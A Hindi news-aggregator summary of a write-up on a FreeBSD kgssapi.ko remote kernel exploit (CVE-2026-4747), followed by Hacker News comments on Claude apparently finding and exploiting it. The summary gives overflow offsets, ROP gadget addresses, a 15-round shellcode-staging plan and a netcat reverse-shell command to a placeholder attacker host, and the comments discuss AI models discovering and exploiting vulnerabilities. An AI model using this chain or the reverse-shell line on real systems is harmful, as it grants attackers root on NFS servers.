FreeBSD रिमोट kernel RCE (CVE-2026-4747) से root shell हासिल

 (github.com/califio)
3 पॉइंट द्वारा GN⁺ 29 일 전 | 1 टिप्पणियां | WhatsApp पर शेयर करें
  • FreeBSD के kgssapi.ko मॉड्यूल में RPCSEC_GSS authentication प्रोसेसिंग के दौरान stack buffer overflow होता है, जिससे remote code execution संभव है
  • svc_rpc_gss_validate() फ़ंक्शन boundary check के बिना credential data copy करता है, जिससे return address तक overwrite हो जाता है
  • हमलावर वैध Kerberos ticket का उपयोग करके NFS सर्वर के RPCSEC_GSS path के ज़रिए kernel ROP chain inject कर सकता है
  • 15-स्टेज overflow के ज़रिए kernel BSS region में 432-byte shellcode लिखकर चलाया जाता है, जिससे root privilege वाला reverse shell बनता है
  • FreeBSD 13.5~15.0 के कुछ versions प्रभावित हैं, और patch में oa_length validation logic जोड़ी गई है

CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS stack buffer overflow

  • FreeBSD के kgssapi.ko मॉड्यूल में RPCSEC_GSS authentication प्रोसेसिंग के दौरान होने वाली stack buffer overflow vulnerability
  • svc_rpc_gss_validate() फ़ंक्शन RPC header को 128-byte stack buffer में reconstruct करते समय oa_length पर boundary check के बिना credential data copy करता है
  • 32-byte fixed header के बाद बचे 96 bytes से बड़े credentials local variables, saved registers, और return address तक overwrite कर देते हैं
  • FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) versions प्रभावित हैं
  • patch में copy से पहले यह जाँचने के लिए condition जोड़ी गई है कि oa_length buffer size से बड़ा है या नहीं

Overflow की संरचना और प्रभाव

  • function prologue analysis के अनुसार rpchdr array [rbp-0xc0] पर है, और copy की शुरुआत [rbp-0xa0] से होती है
  • 96 bytes के बाद saved RBX, R12~R15, RBP, और फिर return address क्रम से overwrite होते हैं
  • वास्तविक attack में GSS header और 16-byte context handle की वजह से return address credential body के 200वें byte पर स्थित होता है
  • vulnerable code तक पहुँचना केवल NFS सर्वर के RPCSEC_GSS authentication path में संभव है
  • हमलावर के पास वैध Kerberos ticket वाला user होना चाहिए, और overflow RPCSEC_GSS authentication (DATA procedure) चरण में trigger होता है

Attack environment setup

  • Target VM: FreeBSD 14.4-RELEASE amd64, NFS server enabled, kgssapi.ko loaded, MIT Kerberos KDC running
  • Attacker host: Linux, Python3 gssapi module और MIT Kerberos client installed, NFS(2049/TCP) और KDC(88/TCP) तक access संभव
  • QEMU, VMware, VirtualBox, bhyve जैसे विभिन्न hypervisor environments में setup किया जा सकता है
  • Kerberos configuration में krb5.conf की rdns=false, dns_canonicalize_hostname=false settings आवश्यक हैं
  • VM और attacker के बीच hostname (test) और service principal (nfs/test@TEST.LOCAL) का मेल होना चाहिए

Remote kernel code execution (RCE) exploit की संरचना

  • attack 15 rounds के multi-stage overflow से बना है
    1. हर round में नया Kerberos GSS context बनाया जाता है
    2. oversized RPCSEC_GSS DATA packet भेजा जाता है
    3. return address को ROP gadget से overwrite करके kernel memory में data लिखा जाता है या shellcode चलाया जाता है
    4. kthread_exit() call करके NFS thread को सामान्य रूप से समाप्त किया जाता है
  • हर round में लगभग 200-byte ROP chain उपयोग होती है, और कुल 432-byte shellcode 15 rounds में भेजा जाता है
  • FreeBSD CPU प्रति 8 NFS threads बनाता है, इसलिए कम-से-कम 2 CPU (16 threads) चाहिए

ROP chain की संरचना

  • प्रमुख ROP gadgets:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — मनचाही kernel memory में 8 bytes लिखना
  • Round 1: pmap_change_prot() call करके kernel BSS region को RWX बनाया जाता है
  • Rounds 2–14: mov [rdi], rax gadget का उपयोग करके BSS में shellcode 32 bytes करके लिखा जाता है
  • Round 15: आख़िरी 16 bytes लिखने के बाद shellcode entry point पर jump किया जाता है

Shellcode का व्यवहार

  • यह kernel mode (CPL 0) में चलता है और root privilege वाला reverse shell process बनाता है
  • NFS kernel thread से सीधे execve() call संभव नहीं होने के कारण 2-stage structure इस्तेमाल होती है
    • Entry function: kproc_create() से नया kernel process बनाकर exit
    • Worker function: /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" चलाना
  • DR7 register initialization से debug exceptions रोकी जाती हैं
  • P_KPROC flag हटाकर fork_exit() को kthread_exit() की बजाय userret path पर ले जाया जाता है
  • नतीजतन /bin/sh user mode में uid 0(root) privilege के साथ चलता है

मुख्य समस्या-समाधान प्रक्रिया

  • Register offset mismatch: वास्तविक RIP offset 200 bytes है, यह De Bruijn pattern से पुष्टि हुई
  • MIT–Heimdal GSS incompatibility: hostname normalization समस्या को krb5.conf settings से हल किया गया
  • Debug register inheritance: DR7 initialization से trap 1 exception रोकी गई
  • 400-byte limit: pop rdi + pop rax + mov [rdi], rax संयोजन से 8-byte units में स्थिर ट्रांसफ़र संभव हुआ
  • NFS thread consumption: हर round में 1 thread समाप्त होता है → इसलिए कम-से-कम 2 CPU चाहिए

अंतिम exploit flow का सारांश

  • हमलावर Kerberos ticket हासिल करने के बाद 15 RPCSEC_GSS overflow packets क्रम से भेजता है
  • 1ला round: BSS को RWX सेट करना
  • 2–14 rounds: shellcode के 416 bytes लिखना
  • 15वाँ round: आख़िरी 16 bytes लिखना और shellcode चलाना
  • shellcode kproc_create() से नया process बनाता है और /bin/sh चलाता है
  • हमलावर की तरफ़ nc session के ज़रिए root shell हासिल होता है
  • पूरा process लगभग 45 seconds लेता है, और कुल 15 RPC packets में पूरा हो जाताा है

संबंधित पढ़ाई

1 टिप्पणियां

 
GN⁺ 29 일 전
Hacker News की राय

  • मुख्य बात यह है कि Claude ने खुद सीधे bug नहीं खोजा, बल्कि पहले से सार्वजनिक CVE रिपोर्ट को लेकर उस vulnerability का exploit करने वाला प्रोग्राम लिखा
    लेकिन मौजूदा प्रगति की रफ्तार को देखें तो, Claude जैसे मॉडल kernel या core services के source code का विश्लेषण करके VM में बार-बार प्रयोगों के जरिए नए CVE अपने-आप खोज निकालने वाले दौर के आने में अब ज़्यादा समय नहीं है

    • अगर पूछा जाए कि यह अच्छी बात है या बुरी, तो मुझे लगता है कि यह अच्छी बात है
      पहले CVE ढूँढने की लागत इतनी ज़्यादा थी कि सिर्फ़ आर्थिक लाभ चाहने वाले attackers ही इसकी कोशिश करते थे
      अब लागत कम हो रही है, इसलिए सद्भावना से काम करने वाले researchers भी इन्हें आसानी से ढूँढ सकते हैं, और exploit होने से पहले patch कर सकने वाला माहौल बन सकता है
    • पहले fuzzing environment सेट करना बहुत मुश्किल था
      अब Claude Code जैसे मॉडल codebase का विश्लेषण करके यह सुझा सकते हैं कि कहाँ और कैसे fuzz testing करनी है, crash की समीक्षा कर सकते हैं, और बार-बार सीखते हुए CVE खोज निकाल सकते हैं
    • असल में यह CVE Claude ने शुरुआत से ही खोजा था
      Nicholas Carlini ने Anthropic में Claude का इस्तेमाल करके इसे खोजा, और उसी के आधार पर CVE रिपोर्ट लिखी गई
    • ऐसी शर्त देनी होती है कि test fail होना चाहिए, और फिर agent से कहा जाता है कि वह उस test को pass कराए
      इस तरह की automated fuzzing के लिए LLM काफ़ी उपयुक्त है
    • इस पर एक वीडियो भी है: YouTube लिंक
      Claude पहले से ही expert स्तर पर CVE खोज रहा है

  • Thai Duong की कंपनी Calif ने इस केस को समेटते हुए एक blog post प्रकाशित किया
    इसमें इस्तेमाल किए गए prompts भी शामिल हैं, और यह bug भी Claude ने Nicholas Carlini के माध्यम से ही खोजा था

  • FreeBSD 14.x में KASLR (kernel address space randomization) या stack canary नहीं था, इसलिए हमला आसान था
    जानना दिलचस्प होगा कि FreeBSD 15.x में यह बेहतर होता है या नहीं
    संदर्भ के लिए, NetBSD में पहले से KASLR फीचर मौजूद है

    • लेकिन FreeBSD 13.2 से KASLR डिफ़ॉल्ट रूप से सक्षम है
      इसे sysctl kern.elf64.aslr.enable: 1 से जाँचा जा सकता है
    • Linux kernel के KASLR पर आलोचना भी है
      संबंधित forum post के अनुसार, कुछ लोगों का मानना है कि KASLR सिर्फ़ सुरक्षा का भ्रम देता है और वास्तविक सुरक्षा में मामूली बढ़ोतरी करता है

  • हाल में सार्वजनिक हुई “Black-Hat LLMs” प्रस्तुति को देखें तो, LLM vulnerability discovery और exploit में लगातार अधिक सक्षम होते जा रहे हैं

    • दरअसल यह रुझान पहले से अनुमानित था
      जब Sam Altman ने पिछले दिसंबर Head of Preparedness की भर्ती के बारे में tweet किया था, तभी इसके संकेत दिखने लगे थे

  • सबसे कठिन काम vulnerability खोजना है, उसे ठीक करना नहीं
    ज़्यादातर security researchers आर्थिक कारणों से vulnerabilities को सार्वजनिक नहीं करते
    इसलिए यदि automated detection संभव हो जाए, तो जोखिम होने के बावजूद लंबी अवधि में यह बड़ा फ़ायदा होगा

    • हालाँकि उम्मीद है कि यह automation सिर्फ़ bugs ढूँढने तक सीमित न रहे, बल्कि fix करने तक भी automated हो
      नहीं तो यह open source developers पर एक और बोझ बन सकता है
      जैसे पहले Google और FFmpeg के बीच security patch विवाद में हुआ था

  • सार्वजनिक prompts का संग्रह साझा करने के लिए धन्यवाद

    • असली prompts देखने पर पता चलता है कि Claude ने exploit एक ही बार में नहीं लिखा, बल्कि यह कई दौर के feedback और adjustments से गुज़रने वाली संवादात्मक प्रक्रिया थी

  • डेवलपमेंट टीम के नज़रिए से ऐसी automation समय बचाने वाली हो सकती है, लेकिन आम उपयोगकर्ताओं के लिए इसका बहुत मूल्य न भी हो
    आजकल kernel bugs वैसे भी हाथ से नहीं ढूँढे जाते
    फिर भी लोग सिर्फ़ Claude की ही बात कर रहे हैं, तो शायद इसकी वजह आखिरकार Anthropic का प्रचार प्रभाव है

  • अब फोकस सिर्फ़ इस बात पर नहीं होना चाहिए कि “Claude ने code लिखा”, बल्कि इस पर होना चाहिए कि उस code की quality और maintainability कैसी है

    • मैं भी यही सोचता हूँ
      यह जानना दिलचस्प होगा कि Claude द्वारा लिखा गया code वास्तव में maintainable structure रखता है या पूरी तरह बिखरा हुआ है

  • ऐसे उदाहरण agent की autonomy और ताकत दिखाते हैं
    साथ ही यह भी सामने लाते हैं कि कंपनियाँ control को लेकर असुरक्षा और governance की ज़रूरत क्यों महसूस करती हैं

  • पूरा prompt history देख पाना दिलचस्प था

    • हालाँकि आख़िरी हिस्सा “इस session में डाले गए सभी prompts दिखाओ” जैसी माँग पर ख़त्म होता है, इसलिए उसका कुछ हिस्सा वास्तविक रिकॉर्ड हो सकता है और कुछ Claude का hallucinated output भी हो सकता है